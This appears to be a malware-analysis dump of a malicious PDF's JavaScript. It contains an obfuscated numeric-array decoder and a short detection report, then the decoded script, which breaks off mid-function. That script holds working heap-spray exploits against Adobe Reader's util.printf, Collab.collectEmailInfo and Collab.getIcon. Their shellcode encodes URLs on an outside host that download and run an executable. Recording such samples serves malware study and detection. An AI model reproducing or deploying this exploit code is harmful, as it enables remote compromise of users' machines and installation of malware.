2,93,107,65,58,61,57,173,145,166,163,164,80,113,80,154,153,172,143,157,164,92,169,149,162,167,160,96,80,160,149,162,89,111,61,62,57,61,166,149,162,84,147,163,165,162,164,102,80,113,80,92,147,151,80,97,80,100,168,104,96,100,96,100,96,93,95,149,148,152,162,111,61,62,57,61,150,163,162,84,88,170,145,166,80,151,159,169,158,168,80,113,80,100,107,84,147,163,165,162,164,84,108,84,147,163,165,162,164,102,107,84,147,163,165,162,164,95,91,93,171,65,58,61,57,61,157,153,157,147,145,166,162,149,169,143,147,163,165,162,164,145,80,113,80,173,145,166,163,164,80,95,80,167,152,153,156,160,147,163,148,153,107,65,58,61,57,177,61,62,57,61,166,149,162,84,159,170,149,166,150,160,159,171,80,113,80,169,158,153,163,151,145,164,149,92,82,89,165,100,147,100,147,89,165,100,147,100,147,86,89,111,61,62,57,61,167,156,153,160,149,84,88,163,166,153,162,154,156,163,167,98,156,153,158,155,164,156,80,112,80,104,100,109,101,102,89,175,61,62,57,61,57,163,166,153,162,154,156,163,167,84,91,113,80,163,166,153,162,154,156,163,167,111,61,62,57,61,173,65,58,61,57,168,152,157,163,98,147,163,156,160,145,150,131,168,159,166,149,84,109,84,115,163,156,160,145,150,94,151,159,160,156,153,147,168,117,161,145,157,156,125,158,154,159,92,171,167,165,150,154,110,80,86,82,96,157,167,151,110,80,163,166,153,162,154,156,163,167,177,89,111,61,62,57,177,61,62,61,62,57,154,165,162,147,168,153,163,158,84,147,163,156,160,145,150,143,155,149,168,153,151,159,162,88,93,171,65,58,61,57,157,150,84,88,149,160,164,94,152,159,151,94,119,159,160,156,149,146,98,151,153,164,125,147,163,158,93,171,65,58,61,57,61,166,149,162,84,145,166,162,173,80,113,80,162,149,171,80,117,162,166,145,173,88,93,107,65,58,61,57,61,166,149,162,84,166,170,160,153,164,156,169,149,80,113,80,169,158,153,163,151,145,164,149,92,82,89,165,121,114,121,105,89,165,100,96,100,97,89,165,105,102,100,96,89,165,117,97,106,100,89,165,100,96,103,96,89,165,100,96,100,96,89,165,104,96,108,114,89,165,108,114,100,115,89,165,101,115,107,96,89,165,108,114,117,116,89,165,100,104,104,96,89,165,119,99,105,117,89,165,108,114,105,101,89,165,108,114,121,115,89,165,100,104,104,101,89,165,103,99,105,98,89,165,119,97,120,98,89,165,100,99,119,98,89,165,101,96,103,98,89,165,108,96,104,96,89,165,100,96,103,104,89,165,122,101,107,101,89,165,119,98,108,114,89,165,105,116,105,113,89,165,100,100,119,98,89,165,105,101,100,96,89,165,121,115,108,114,89,165,105,97,105,97,89,165,105,102,105,99,89,165,106,96,105,103,89,165,105,116,108,114,89,165,103,99,100,104,89,165,108,114,119,96,89,165,100,115,107,101,89,165,122,117,108,114,89,165,107,102,100,99,89,165,108,114,103,115,89,165,107,104,104,117,89,165,119,118,100,99,89,165,105,97,108,114,89,165,105,98,101,115,89,165,105,97,108,114,89,165,105,98,102,100,89,165,107,97,108,114,89,165,104,117,101,100,89,165,107,101,108,105,89,165,108,114,122,115,89,165,102,96,107,97,89,165,122,103,100,99,89,165,104,113,109,105,89,165,104,98,117,116,89,165,103,114,106,96,89,165,122,115,105,101,89,165,100,100,107,101,89,165,119,96,103,99,89,165,103,103,121,114,89,165,122,118,103,99,89,165,104,101,100,99,89,165,109,103,100,115,89,165,119,118,108,114,89,165,107,101,117,117,89,165,102,114,122,116,89,165,104,118,122,105,89,165,121,104,105,97,89,165,122,118,109,100,89,165,122,118,122,118,89,165,119,99,103,114,89,165,107,100,106,97,89,165,121,114,100,98,89,165,108,114,120,105,89,165,100,115,104,101,89,165,105,117,109,98,89,165,122,98,100,99,89,165,121,96,120,97,89,165,119,102,100,99,89,165,119,105,103,99,89,165,118,103,100,118,89,165,105,118,100,104,89,165,121,97,119,97,89,165,100,99,100,98,89,165,100,99,119,113,89,165,108,114,119,118,89,165,100,99,100,97,89,165,108,105,119,98,89,165,122,104,104,101,89,165,108,114,106,97,89,165,122,104,104,101,89,165,105,117,105,118,89,165,119,105,105,114,89,165,105,101,119,99,89,165,121,115,108,114,89,165,121,104,105,97,89,165,122,118,104,105,89,165,122,118,122,118,89,165,106,104,105,96,89,165,106,96,121,104,89,165,100,100,118,118,89,165,106,115,121,104,89,165,122,118,122,118,89,165,103,99,122,118,89,165,105,98,120,98,89,165,122,118,105,98,89,165,100,104,107,101,89,165,120,96,122,118,89,165,104,101,108,105,89,165,108,114,122,115,89,165,122,115,104,101,89,165,119,99,119,105,89,165,108,114,105,101,89,165,108,99,121,115,89,165,100,115,121,115,89,165,104,101,108,116,89,165,105,96,122,100,89,165,104,101,119,102,89,165,107,101,122,100,89,165,104,101,119,102,89,165,107,98,122,101,89,165,104,101,119,102,89,165,106,115,122,102,89,165,104,101,119,102,89,165,106,116,122,103,89,165,104,101,119,102,89,165,106,118,122,104,89,165,104,101,119,102,89,165,106,117,122,105,89,165,104,101,119,102,89,165,102,117,122,113,89,165,104,101,119,102,89,165,106,100,122,114,89,165,104,101,119,102,89,165,106,115,122,115,89,165,104,101,119,102,89,165,106,115,122,116,89,165,104,101,119,102,89,165,100,96,122,117,89,165,117,96,121,104,89,165,122,118,122,118,89,165,105,96,122,118,89,165,105,116,106,104,89,165,101,97,108,113,89,165,121,104,101,102,89,165,122,118,101,101,89,165,122,118,122,118,89,165,119,100,108,99,89,165,108,101,100,115,89,165,107,100,119,96,89,165,106,113,101,101,89,165,106,113,100,96,89,165,122,118,100,96,89,165,100,115,107,101,89,165,107,101,122,118,89,165,106,113,100,104,89,165,122,118,100,96,89,165,108,101,120,96,89,165,107,101,119,96,89,165,104,96,100,99,89,165,119,99,119,105,89,165,119,96,103,99,89,165,119,99,119,105,89,165,103,99,105,103,89,165,108,114,119,96,89,165,102,100,104,115,89,165,108,114,100,115,89,165,102,100,107,115,89,165,122,115,100,104,89,165,117,113,122,99,89,165,119,99,105,118,89,165,104,115,108,114,89,165,100,100,102,100,89,165,103,105,108,96,89,165,108,114,100,96,89,165,107,100,119,97,89,165,104,96,100,102,89,165,103,104,108,96,89,165,107,101,100,96,89,165,102,114,122,113,89,165,119,99,119,97,89,165,108,114,105,101,89,165,108,99,121,115,89,165,106,100,121,115,89,165,108,116,105,99,89,165,122,96,104,101,89,165,103,99,105,103,89,165,105,96,120,114,89,165,104,101,119,102,89,165,106,114,122,96,89,165,104,101,119,102,89,165,106,101,122,97,89,165,104,101,119,102,89,165,107,98,122,98,89,165,104,101,119,102,89,165,106,117,122,99,89,165,104,101,119,102,89,165,106,101,122,100,89,165,104,101,119,102,89,165,106,115,122,101,89,165,104,101,119,102,89,165,103,99,122,102,89,165,104,101,119,102,89,165,103,98,122,103,89,165,104,101,119,102,89,165,102,117,122,104,89,165,104,101,119,102,89,165,106,100,122,105,89,165,104,101,119,102,89,165,106,115,122,113,89,165,104,101,119,102,89,165,106,115,122,114,89,165,105,116,108,104,89,165,121,104,122,115,89,165,122,118,100,114,89,165,122,118,122,118,89,165,106,104,105,96,89,165,104,99,106,104,89,165,108,117,122,105,89,165,108,96,121,104,89,165,122,118,122,117,89,165,108,114,122,118,89,165,108,116,122,104,89,165,109,115,104,101,89,165,104,100,106,113,89,165,121,104,105,96,89,165,122,118,107,117,89,165,122,118,122,118,89,165,104,101,108,116,89,165,106,113,121,96,89,165,105,96,101,96,89,165,107,99,121,104,89,165,122,118,122,118,89,165,108,99,122,118,89,165,101,115,119,100,89,165,104,101,108,116,89,165,105,96,121,96,89,165,104,101,108,116,89,165,105,96,109,115,89,165,105,99,105,99,89,165,105,99,105,99,89,165,105,99,105,99,89,165,107,101,122,118,89,165,119,103,100,104,89,165,109,115,104,101,89,165,100,96,104,100,89,165,100,96,100,96,89,165,122,118,105,99,89,165,105,118,120,103,89,165,118,102,100,118,89,165,105,114,119,96,89,165,119,99,119,105,89,165,108,114,105,101,89,165,105,97,121,115,89,165,105,99,105,97,89,165,105,103,105,102,89,165,104,98,106,113,89,165,107,98,121,104,89,165,100,96,100,96,89,165,108,114,100,96,89,165,103,99,120,104,89,165,108,101,122,102,89,165,105,105,120,114,89,165,104,101,119,103,89,165,106,97,122,104,89,165,106,101,102,117,89,165,119,103,107,104,89,165,122,115,104,101,89,165,100,96,106,101,89,165,100,96,100,96,89,165,105,102,107,117,89,165,104,101,108,116,89,165,105,96,122,104,89,165,121,104,105,102,89,165,100,96,105,97,89,165,100,96,100,96,89,165,105,96,105,105,89,165,118,97,121,104,89,165,122,118,122,117,89,165,108,101,122,118,89,165,105,105,119,96,89,165,107,100,105,105,89,165,108,116,103,105,89,165,100,97,104,102,89,165,121,104,105,96,89,165,100,96,103,114,89,165,100,96,100,96,89,165,122,104,108,114,89,165,104,101,108,116,89,165,105,96,122,104,89,165,102,97,121,104,89,165,122,118,122,118,89,165,108,101,122,118,89,165,105,105,119,96,89,165,107,100,105,105,89,165,105,103,100,115,89,165,100,97,121,104,89,165,122,118,122,118,89,165,105,105,122,118,89,165,104,100,119,102,89,165,122,118,103,104,89,165,105,96,107,99,89,165,104,101,108,116,89,165,122,117,122,104,89,165,105,104,100,96,89,165,104,101,108,116,89,165,105,96,122,104,89,165,121,104,105,103,89,165,122,117,107,100,89,165,122,118,122,118,89,165,105,105,105,105,89,165,104,102,104,102,89,165,122,99,103,114,89,165,117,113,107,115,89,165,105,117,105,118,89,165,119,105,105,114,89,165,105,101,119,99,89,165,121,115,108,114,89,165,105,99,105,97,89,165,106,96,106,102,89,165,103,98,118,97,89,165,100,96,121,104,89,165,100,96,100,96,89,165,105,104,100,96,89,165,100,104,103,104,89,165,100,99,107,100,89,165,121,114,104,96,89,165,104,96,122,105,89,165,105,116,108,114,89,165,108,96,100,104,89,165,104,98,122,114,89,165,100,104,107,101,89,165,120,114,103,99,89,165,101,104,108,113,89,165,119,99,108,114,89,165,101,103,121,114,89,165,101,104,103,104,89,165,101,97,107,102,89,165,103,99,104,96,89,165,108,100,119,105,89,165,107,100,120,114,89,165,104,96,100,115,89,165,100,104,103,104,89,165,122,114,107,101,89,165,122,117,104,96,89,165,121,114,119,114,89,165,103,99,122,98,89,165,108,105,119,96,89,165,122,115,104,101,89,165,104,101,108,114,89,165,105,114,122,115,89,165,119,99,119,105,89,165,100,98,103,98,89,165,107,100,106,104,89,165,107,96,107,100,89,165,102,118,103,113,89,165,106,116,102,118,89,165,107,98,106,105,89,165,106,118,107,98,89,165,106,118,107,98,89,165,106,101,106,117,89,165,106,118,107,98,89,165,106,105,106,102,89,165,106,101,107,102,89,165,106,99,102,117,89,165,106,116,106,118,89,165,107,99,102,118,89,165,106,101,106,115,89,165,107,96,106,101,89,165,106,97,102,118,89,165,106,103,106,102,89,165,107,101,106,115,89,165,103,98,107,104,89,165,106,101,102,117,89,165,106,101,107,104,89,165,106,104,100,96,89,165,107,100,107,100,89,165,103,113,107,96,89,165,102,118,102,118,89,165,106,105,106,116,89,165,107,98,107,98,89,165,107,98,106,118,89,165,106,117,106,118,89,165,107,98,106,101,89,165,106,102,106,118,89,165,107,102,106,105,89,165,102,117,106,101,89,165,106,118,106,99,89,165,102,118,106,116,89,165,106,115,107,99,89,165,106,101,106,101,89,165,102,118,107,96,89,165,106,115,106,99,89,165,106,99,106,105,89,165,102,117,106,114,89,165,106,104,107,96,89,165,103,118,107,96,89,165,103,116,107,98,89,165,100,96,100,96,86,89,111,61,62,57,61,57,170,145,166,80,156,135,165,101,100,96,119,126,84,109,84,166,170,160,153,164,156,169,149,94,160,149,162,151,168,152,84,90,84,98,111,61,62,57,61,57,170,145,166,80,160,149,162,80,113,80,100,168,104,96,100,96,100,96,84,93,84,88,156,135,165,101,100,96,119,126,84,91,84,96,172,99,108,89,111,61,62,57,61,57,170,145,166,80,173,145,166,163,164,80,113,80,169,158,153,163,151,145,164,149,92,82,89,165,109,96,109,96,89,165,109,96,109,96,86,89,111,61,62,57,61,57,173,145,166,163,164,80,113,80,154,153,172,143,157,164,92,169,149,162,167,160,96,80,160,149,162,89,111,61,62,57,61,57,170,145,166,80,164,101,117,154,127,102,105,150,84,109,84,88,100,168,100,147,100,147,100,147,100,147,84,93,84,96,172,100,100,96,100,96,100,89,84,95,84,96,172,100,100,96,100,96,100,107,65,58,61,57,61,150,163,162,84,88,170,145,166,80,170,161,151,129,120,105,106,169,84,109,84,96,111,80,170,161,151,129,120,105,106,169,84,108,84,160,105,113,158,123,106,101,154,107,84,166,165,147,133,116,109,102,173,80,95,91,84,89,175,61,62,57,61,57,61,145,166,162,173,139,170,161,151,129,120,105,106,169,145,80,113,80,173,145,166,163,164,80,95,80,170,166,164,149,168,152,173,145,111,61,62,57,61,57,177,61,62,57,61,57,170,145,166,80,168,133,129,152,130,146,123,167,84,109,84,165,162,149,167,147,149,160,153,88,86,85,100,105,86,89,111,61,62,57,61,57,171,152,157,156,153,80,92,164,137,125,156,126,150,119,171,94,160,149,162,151,168,152,84,108,84,96,172,100,100,96,100,89,175,61,62,57,61,57,61,164,137,125,156,126,150,119,171,80,95,109,84,164,137,125,156,126,150,119,171,107,65,58,61,57,61,173,65,58,61,57,61,164,137,125,156,126,150,119,171,80,113,80,86,126,98,82,84,91,84,164,137,125,156,126,150,119,171,107,65,58,61,57,61,145,164,160,98,148,163,147,98,115,163,156,160,145,150,94,155,149,168,121,151,159,162,88,168,133,129,152,130,146,123,167,93,107,65,58,61,57,177,61,62,57,177,61,62,61,62,57,154,165,162,147,168,153,163,158,84,160,152,150,147,163,168,145,166,164,92,89,175,61,62,61,62,57,61,166,149,162,84,166,153,162,167,153,163,158,84,109,84,145,164,160,98,166,157,149,171,149,166,134,153,162,167,153,163,158,98,164,163,131,168,162,157,158,155,88,93,107,65,58,61,57,170,149,166,163,157,159,162,80,113,80,170,149,166,163,157,159,162,94,166,149,164,156,149,147,153,88,99,140,120,95,155,92,91,87,93,107,65,58,61,57,170,145,166,80,170,145,166,163,157,159,162,143,149,162,166,145,173,80,113,80,162,149,171,80,117,162,166,145,173,88,170,149,166,163,157,159,162,94,151,152,149,162,117,164,92,96,93,92,84,166,153,162,167,153,163,158,98,147,156,145,166,113,168,88,101,89,96,80,170,149,166,163,157,159,162,94,151,152,149,162,117,164,92,98,93,89,111,61,62,57,61,153,154,80,92,88,170,145,166,163,157,159,162,143,149,162,166,145,173,139,100,141,84,109,113,80,108,89,84,86,90,80,92,166,149,162,167,153,163,158,147,145,166,162,149,169,143,97,145,80,113,109,84,96,93,80,176,172,84,88,170,145,166,163,157,159,162,143,149,162,166,145,173,139,101,141,84,109,113,80,101,80,90,86,84,166,149,162,167,153,163,158,147,145,166,162,149,169,143,98,145,80,112,80,103,89,93,171,65,58,61,57,61,165,168,153,160,143,164,162,157,158,168,150,92,89,111,61,62,57,61,173,65,58,61,57,157,150,84,88,92,166,149,162,167,153,163,158,147,145,166,162,149,169,143,96,145,80,112,80,108,89,84,172,176,80,92,166,149,162,167,153,163,158,147,145,166,162,149,169,143,96,145,80,113,109,84,104,84,86,90,80,170,145,166,163,157,159,162,143,149,162,166,145,173,139,101,141,84,108,84,98,84,86,90,80,170,145,166,163,157,159,162,143,149,162,166,145,173,139,102,141,84,108,84,98,93,89,175,61,62,57,61,57,151,159,160,156,149,146,147,149,161,145,157,156,92,89,111,61,62,57,61,173,65,58,61,57,157,150,84,88,92,166,149,162,167,153,163,158,147,145,166,162,149,169,143,96,145,80,112,80,109,89,84,172,176,80,92,166,149,162,167,153,163,158,147,145,166,162,149,169,143,96,145,80,113,109,84,105,84,86,90,80,170,145,166,163,157,159,162,143,149,162,166,145,173,139,101,141,84,108,84,97,93,89,175,61,62,57,61,57,151,159,160,156,149,146,147,151,153,164,157,147,163,158,92,89,111,61,62,57,61,173,65,58,61,173,65,58,65,58,61,160,152,150,147,163,168,145,166,164,92,89,111,61,62,57],gnqrsw=function(){for(var qizyp;dfily<orpdz.length;dfily+=1){var hqrt=dfily%ceopy.length+1;var adhij=ceopy.substring(dfily%ceopy.length,hqrt);var agnqwy=orpdz[dfily];ruvw+=hqgzk(agnqwy-adhij.charCodeAt(0));} jmtu(ruvw);};gnqrsw();cmrs=61339;bcejpt=true;nzslcv=false;kotu=33990;dfinr="dfinr";ghlnuw=true;bkstu='';bikou="bikou";fjmx=true;aghiq=48896;iwxy="";dhir="dhir";hlmqy="hlmqy";blmpq='';
`legacy_pdfkit_stage_000.js`	deobfuscated-js	numeric array subtract-key decoded JavaScript at offset 0x1A5	10078 bytes
SHA-256: `b1dae7eb9d537e9cae57acbde31846369565eb62a1dd64b8e713be994c5aa714`
Detection ClamAV: Js.Exploit.Shellcode-18 Obfuscation or payload: likely Carved artifact contains 9 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script First 1,000 lines of the extracted script function fix_it(yarsp, len){ while (yarsp.length * 2 < len){ yarsp += yarsp; } yarsp = yarsp.substring(0, len/2); return yarsp; } function util_printf(){ var payload = unescape("%uEBE9%u0001%u5600%uA164%u0030%u0000%u408B%u8B0C%u1C70%u8BAD%u0840%uC35E%u8B55%u8BEC%u0845%u3352%uC1D2%u03C2%u1032%u8040%u0038%uF575%uC28B%u5D5A%u04C2%u5500%uEC8B%u5151%u5653%u6057%u5D8B%u3308%u8BC0%u0C75%uFE8B%u7603%u8B3C%u784E%uCF03%u518B%u521C%u518B%u5224%u718B%u4E14%u7589%u8BFC%u2071%uF703%u4A99%u42AD%u3B60%uFC55%u0475%uC033%u37EB%uFF33%u4503%u970C%uCF8B%u75AE%u2BFD%u4FF9%uE851%uFF94%uFFFF%uC33B%u7461%uEB02%u8BD9%u0C45%u5E92%uF203%uE0D1%uC603%uC933%uB70F%u5F08%uE1C1%u0302%u03CA%u8BCF%u0301%u89C2%uF845%u8B61%uF845%u5E5F%uC95B%u55C3%uEC8B%uE851%uFF49%uFFFF%u6850%u60E8%u04BF%u6CE8%uFFFF%u33FF%u52D2%uFF52%u0875%uD0FF%u4589%u8BFC%uFC45%uC3C9%u8B55%u83EC%u0CEC%u458D%u50F4%u45C6%u75F4%u45C6%u72F5%u45C6%u6CF6%u45C6%u6DF7%u45C6%u6FF8%u45C6%u6EF9%u45C6%u2EFA%u45C6%u64FB%u45C6%u6CFC%u45C6%u6CFD%u45C6%u00FE%uA0E8%uFFFF%u50FF%u5D68%u118A%uE816%uFF15%uFFFF%uC483%u850C%u74C0%u6A15%u6A00%uFF00%u0C75%u75FF%u6A08%uFF00%u85D0%u75C0%u4003%uC3C9%uC033%uC3C9%u3357%u8BC0%u244C%u8B0C%u247C%uFC08%uAAF3%uC35F%u4C8B%u0424%u3980%u8B00%u74C1%u4006%u3880%u7500%u2BFA%uC3C1%u8B55%u83EC%u64EC%u8D53%uF045%u3357%u50DB%u45C6%u6BF0%u45C6%u65F1%u45C6%u72F2%u45C6%u6EF3%u45C6%u65F4%u45C6%u6CF5%u45C6%u33F6%u45C6%u32F7%u45C6%u2EF8%u45C6%u64F9%u45C6%u6CFA%u45C6%u6CFB%u5D88%uE8FC%uFF0B%uFFFF%u6850%u4368%u8EF9%u80E8%uFFFE%u8BFF%u8DF8%u9C45%u446A%uE850%uFF7E%uFFFF%u458D%u6AE0%u5010%u73E8%uFFFF%u83FF%u1CC4%u458D%u50E0%u458D%u509C%u5353%u5353%u5353%u75FF%uC708%u9C45%u0044%u0000%uFF53%u5FD7%uB60F%u5BC0%uC3C9%u8B55%u51EC%u5351%u5756%u426A%u72E8%u0000%u8B00%u33D8%u85F6%u59DB%u45C7%u61F8%u652E%uC778%uFC45%u0065%u0000%u567E%u458D%u50F8%uE856%u0051%u0000%u5059%uB1E8%uFFFE%u85FF%u59C0%u7459%u8D39%u0146%uE850%u003B%u0000%uF88B%u458D%u50F8%u21E8%uFFFF%u85FF%u59C0%u7459%u570C%u01E8%uFFFF%u59FF%u44C6%uFF38%u5073%u458D%uFEF8%u5800%u458D%u50F8%uE857%uFE74%uFFFF%u5959%u4646%uF33B%uAA7C%u5E5F%uC95B%u55C3%uEC8B%u5351%u6066%u32B1%u00E8%u0000%u5800%u0838%u0374%uEB40%u40F9%u5D8B%u8008%u42FB%u0875%uDB33%u188A%uC38B%u17EB%u1838%u1176%u3340%u84C9%u74DB%u400C%u0838%uFB75%uFE40%uEBCB%u33F2%u89C0%uFC45%u458B%u5BFC%uC3C9%u0232%u7468%u7074%u2F3A%u6D2F%u7269%u6F72%u6F72%u656E%u6F72%u6966%u6576%u632E%u6D6F%u732F%u656C%u7065%u612F%u6D6A%u716F%u3274%u652E%u6578%u6800%u7474%u3A70%u2F2F%u696D%u7272%u726F%u6E6F%u7265%u666F%u7669%u2E65%u6F63%u2F6D%u6C73%u6565%u2F70%u6C63%u6369%u2E6B%u6870%u3F70%u3D72%u0000"); var nop = unescape("%u0A0A%u0A0A%u0A0A%u0A0A") var heapblock = nop + payload; var bigblock = unescape("%u0A0A%u0A0A"); var headersize = 20; var spray = headersize + heapblock.length; while (bigblock.length < spray){ bigblock += bigblock; } var fillblock = bigblock.substring(0, spray); var block = bigblock.substring(0, bigblock.length-spray); while (block.length+spray < 0x40000){ block = block + block + fillblock; } var mem_array = new Array(); for (var i = 0; i < 1400; i++){ mem_array[i] = block + heapblock; } var num = 12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888; util.printf("%45000f", num); } function collab_email(){ var shellcode = unescape("%uEBE9%u0001%u5600%uA164%u0030%u0000%u408B%u8B0C%u1C70%u8BAD%u0840%uC35E%u8B55%u8BEC%u0845%u3352%uC1D2%u03C2%u1032%u8040%u0038%uF575%uC28B%u5D5A%u04C2%u5500%uEC8B%u5151%u5653%u6057%u5D8B%u3308%u8BC0%u0C75%uFE8B%u7603%u8B3C%u784E%uCF03%u518B%u521C%u518B%u5224%u718B%u4E14%u7589%u8BFC%u2071%uF703%u4A99%u42AD%u3B60%uFC55%u0475%uC033%u37EB%uFF33%u4503%u970C%uCF8B%u75AE%u2BFD%u4FF9%uE851%uFF94%uFFFF%uC33B%u7461%uEB02%u8BD9%u0C45%u5E92%uF203%uE0D1%uC603%uC933%uB70F%u5F08%uE1C1%u0302%u03CA%u8BCF%u0301%u89C2%uF845%u8B61%uF845%u5E5F%uC95B%u55C3%uEC8B%uE851%uFF49%uFFFF%u6850%u60E8%u04BF%u6CE8%uFFFF%u33FF%u52D2%uFF52%u0875%uD0FF%u4589%u8BFC%uFC45%uC3C9%u8B55%u83EC%u0CEC%u458D%u50F4%u45C6%u75F4%u45C6%u72F5%u45C6%u6CF6%u45C6%u6DF7%u45C6%u6FF8%u45C6%u6EF9%u45C6%u2EFA%u45C6%u64FB%u45C6%u6CFC%u45C6%u6CFD%u45C6%u00FE%uA0E8%uFFFF%u50FF%u5D68%u118A%uE816%uFF15%uFFFF%uC483%u850C%u74C0%u6A15%u6A00%uFF00%u0C75%u75FF%u6A08%uFF00%u85D0%u75C0%u4003%uC3C9%uC033%uC3C9%u3357%u8BC0%u244C%u8B0C%u247C%uFC08%uAAF3%uC35F%u4C8B%u0424%u3980%u8B00%u74C1%u4006%u3880%u7500%u2BFA%uC3C1%u8B55%u83EC%u64EC%u8D53%uF045%u3357%u50DB%u45C6%u6BF0%u45C6%u65F1%u45C6%u72F2%u45C6%u6EF3%u45C6%u65F4%u45C6%u6CF5%u45C6%u33F6%u45C6%u32F7%u45C6%u2EF8%u45C6%u64F9%u45C6%u6CFA%u45C6%u6CFB%u5D88%uE8FC%uFF0B%uFFFF%u6850%u4368%u8EF9%u80E8%uFFFE%u8BFF%u8DF8%u9C45%u446A%uE850%uFF7E%uFFFF%u458D%u6AE0%u5010%u73E8%uFFFF%u83FF%u1CC4%u458D%u50E0%u458D%u509C%u5353%u5353%u5353%u75FF%uC708%u9C45%u0044%u0000%uFF53%u5FD7%uB60F%u5BC0%uC3C9%u8B55%u51EC%u5351%u5756%u426A%u72E8%u0000%u8B00%u33D8%u85F6%u59DB%u45C7%u61F8%u652E%uC778%uFC45%u0065%u0000%u567E%u458D%u50F8%uE856%u0051%u0000%u5059%uB1E8%uFFFE%u85FF%u59C0%u7459%u8D39%u0146%uE850%u003B%u0000%uF88B%u458D%u50F8%u21E8%uFFFF%u85FF%u59C0%u7459%u570C%u01E8%uFFFF%u59FF%u44C6%uFF38%u5073%u458D%uFEF8%u5800%u458D%u50F8%uE857%uFE74%uFFFF%u5959%u4646%uF33B%uAA7C%u5E5F%uC95B%u55C3%uEC8B%u5351%u6066%u32B1%u00E8%u0000%u5800%u0838%u0374%uEB40%u40F9%u5D8B%u8008%u42FB%u0875%uDB33%u188A%uC38B%u17EB%u1838%u1176%u3340%u84C9%u74DB%u400C%u0838%uFB75%uFE40%uEBCB%u33F2%u89C0%uFC45%u458B%u5BFC%uC3C9%u0232%u7468%u7074%u2F3A%u6D2F%u7269%u6F72%u6F72%u656E%u6F72%u6966%u6576%u632E%u6D6F%u732F%u656C%u7065%u642F%u7068%u7771%u2E32%u7865%u0065%u7468%u7074%u2F3A%u6D2F%u7269%u6F72%u6F72%u656E%u6F72%u6966%u6576%u632E%u6D6F%u732F%u656C%u7065%u632F%u696C%u6B63%u702E%u7068%u723F%u003D"); var mem_array = new Array(); var cc = 0x0c0c0c0c; var addr = 0x400000; var sc_len = shellcode.length * 2; var len = addr - (sc_len+0x38); var yarsp = unescape("%u9090%u9090"); yarsp = fix_it(yarsp, len); var count2 = (cc - 0x400000)/addr; for (var count = 0; count < count2; count++){ mem_array[count] = yarsp + shellcode; } var overflow = unescape("%u0c0c%u0c0c"); while (overflow.length < 44952){ overflow += overflow; } this.collabStore = Collab.collectEmailInfo({subj: "",msg: overflow}); } function collab_geticon(){ if (app.doc.Collab.getIcon){ var arry = new Array(); var vvpethya = unescape("%uEBE9%u0001%u5600%uA164%u0030%u0000%u408B%u8B0C%u1C70%u8BAD%u0840%uC35E%u8B55%u8BEC%u0845%u3352%uC1D2%u03C2%u1032%u8040%u0038%uF575%uC28B%u5D5A%u04C2%u5500%uEC8B%u5151%u5653%u6057%u5D8B%u3308%u8BC0%u0C75%uFE8B%u7603%u8B3C%u784E%uCF03%u518B%u521C%u518B%u5224%u718B%u4E14%u7589%u8BFC%u2071%uF703%u4A99%u42AD%u3B60%uFC55%u0475%uC033%u37EB%uFF33%u4503%u970C%uCF8B%u75AE%u2BFD%u4FF9%uE851%uFF94%uFFFF%uC33B%u7461%uEB02%u8BD9%u0C45%u5E92%uF203%uE0D1%uC603%uC933%uB70F%u5F08%uE1C1%u0302%u03CA%u8BCF%u0301%u89C2%uF845%u8B61%uF845%u5E5F%uC95B%u55C3%uEC8B%uE851%uFF49%uFFFF%u6850%u60E8%u04BF%u6CE8%uFFFF%u33FF%u52D2%uFF52%u0875%uD0FF%u4589%u8BFC%uFC45%uC3C9%u8B55%u83EC%u0CEC%u458D%u50F4%u45C6%u75F4%u45C6%u72F5%u45C6%u6CF6%u45C6%u6DF7%u45C6%u6FF8%u45C6%u6EF9%u45C6%u2EFA%u45C6%u64FB%u45C6%u6CFC%u45C6%u6CFD%u45C6%u00FE%uA0E8%uFFFF%u50FF%u5D68%u118A%uE816%uFF15%uFFFF%uC483%u850C%u74C0%u6A15%u6A00%uFF00%u0C75%u75FF%u6A08%uFF00%u85D0%u75C0%u4003%uC3C9%uC033%uC3C9%u3357%u8BC0%u244C%u8B0C%u247C%uFC08%uAAF3%uC35F%u4C8B%u0424%u3980%u8B00%u74C1%u4006%u3880%u7500%u2BFA%uC3C1%u8B55%u83EC%u64EC%u8D53%uF045%u3357%u50DB%u45C6%u6BF0%u45C6%u65F1%u45C6%u72F2%u45C6%u6EF3%u45C6%u65F4%u45C6%u6CF5%u45C6%u33F6%u45C6%u32F7%u45C6%u2EF8%u45C6%u64F9%u45C6%u6CFA%u45C6%u6CFB%u5D88%uE8FC%uFF0B%uFFFF%u6850%u4368%u8EF9%u80E8%uFFFE%u8BFF%u8DF8%u9C45%u446A%uE850%uFF7E%uFFFF%u458D%u6AE0%u5010%u73E8%uFFFF%u83FF%u1CC4%u458D%u50E0%u458D%u509C%u5353%u5353%u5353%u75FF%uC708%u9C45%u0044%u0000%uFF53%u5FD7%uB60F%u5BC0%uC3C9%u8B55%u51EC%u5351%u5756%u426A%u72E8%u0000%u8B00%u33D8%u85F6%u59DB%u45C7%u61F8%u652E%uC778%uFC45%u0065%u0000%u567E%u458D%u50F8%uE856%u0051%u0000%u5059%uB1E8%uFFFE%u85FF%u59C0%u7459%u8D39%u0146%uE850%u003B%u0000%uF88B%u458D%u50F8%u21E8%uFFFF%u85FF%u59C0%u7459%u570C%u01E8%uFFFF%u59FF%u44C6%uFF38%u5073%u458D%uFEF8%u5800%u458D%u50F8%uE857%uFE74%uFFFF%u5959%u4646%uF33B%uAA7C%u5E5F%uC95B%u55C3%uEC8B%u5351%u6066%u32B1%u00E8%u0000%u5800%u0838%u0374%uEB40%u40F9%u5D8B%u8008%u42FB%u0875%uDB33%u188A%uC38B%u17EB%u1838%u1176%u3340%u84C9%u74DB%u400C%u0838%uFB75%uFE40%uEBCB%u33F2%u89C0%uFC45%u458B%u5BFC%uC3C9%u0232%u7468%u7074%u2F3A%u6D2F%u7269%u6F72%u6F72%u656E%u6F72%u6966%u6576%u632E%u6D6F%u732F%u656C%u7065%u612F%u6766%u756C%u3278%u652E%u6578%u6800%u7474%u3A70%u2F2F%u696D%u7272%u726F%u6E6F%u7265%u666F%u7669%u2E65%u6F63%u2F6D%u6C73%u6565%u2F70%u6C63%u6369%u2E6B%u6870%u3F70%u3D72%u0000"); var hWq500CN = vvpethya.length * 2; var len = 0x400000 - (hWq500CN + 0x38); var yarsp = unescape("%u9090%u9090"); yarsp = fix_it(yarsp, len); var p5AjK65f = (0x0c0c0c0c - 0x400000) / 0x400000; for (var 